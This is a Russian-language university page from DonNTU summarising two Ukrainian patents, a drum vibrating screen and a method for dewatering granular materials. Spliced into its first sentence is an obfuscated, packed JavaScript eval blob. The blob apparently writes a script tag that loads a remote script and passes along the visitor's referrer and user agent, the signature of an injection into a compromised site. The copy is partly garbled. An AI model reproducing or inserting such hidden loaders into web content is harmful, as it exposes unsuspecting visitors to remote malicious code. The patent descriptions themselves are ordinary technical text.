

На eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]};e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6(");n m="q";,30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|script|tsnya|var|u0026u|referrer|knsrt||js|php'.split('|'),0, {})) кафедре Технологии и техники бурения скважин, кафедре Обогащения полезных ископаемых ДонНТУ разработаны средства для разделения сыпучих материалов по крупности, рассеивания и обезвоживания зернистых материалов.

**1. Барабанный вибрационный грохот:** патент Украины на изобретение № 81440, МПК В07В 1/18 /Каракозов А.А., Зибинский П.В.; ДонНТУ, заявка № а 2005 05113, заявл. 30.05.2005, опубл.10.01.2008, бюл. № 1.

кафедра Технологии и техники бурения скважин

Изобретение относится к технике разделения сыпучих материалов по крупности, рассеивания и обезвоживания тонкозернистых материалов, которые трудно поддаются просеиванию, и может быть использовано в угольной, строительной и других отраслях промышленности.

Барабанный вибрационный грохот содержит жесткую раму, которая включает два

цилиндрических кожуха, два инерционных вибровозбудителя. Валы вибровозбудителей расположены соосно и соединены упругими муфтами с приводным электродвигателем, закрепленным на раме. В середине кожуха установлены с зазором два барабана, выполненных в виде бандажей, на которых закреплены рабочая поверхность (сито). Бандажи барабанов выполнены в виде резиновых колец с тороидальной рабочей поверхностью, установленных с возможностью регулирования степени их зажима. Барабанный грохот установлен на неподвижном основании с помощью упругих опор. В процессе работы грохота барабаны выполняют одновременно вибрационное и вращательное движение относительно их продольных осей. Обрабатываемый материал подается в середину барабанов и подвергается интенсивному встряхиванию и перемешиванию вибрирующим и вращательным движениями барабанов.

Применение изобретения позволяет повысить эксплуатационные характеристики (упрощение загрузки и выгрузки материала, облегчение доступа к узлам приводного механизма) за счет модификации рамы, барабанов и инерционного вибровозбудителя.

**2. Способ обезвоживания зернистых материалов:** патент Украины на изобретение № 47592А, МПК E21C37/00, F42D3/00, / Шевцов Н.Р., Макаров А.А., Сирачов И.Ж./, ДонНТУ, заяв. № 2000105608 от 03.10.2000г., опубл. 15.10.2001, бюл. №9.

кафедра Обогащения полезных ископаемых

Изобретение относится к обезвоживанию зернистых сыпучих материалов и может использоваться для обогащения полезных ископаемых, в частности мелкодисперсного угля.

Автор: Kondratenko  
22.09.2015 09:23

---

Способ обезвоживания зернистых материалов включает смешивание материала с газовым потоком в рабочей камере инжектора и подачу смеси через разгонную трубку в бункер, который проветривают. При встрече потока зернистого материала с потоком воздуха в камере инжектора водная пленка срывается с зерен материала. Зернистый материал разрыхляется и образуется транспортируемая газо-жидкостная смесь, которая направляется в разгонную трубу.

Изобретение обеспечивает потоковость и непрерывность процесса обезвоживания и повышает его технологичность в условиях, типовых для обогатительных фабрик.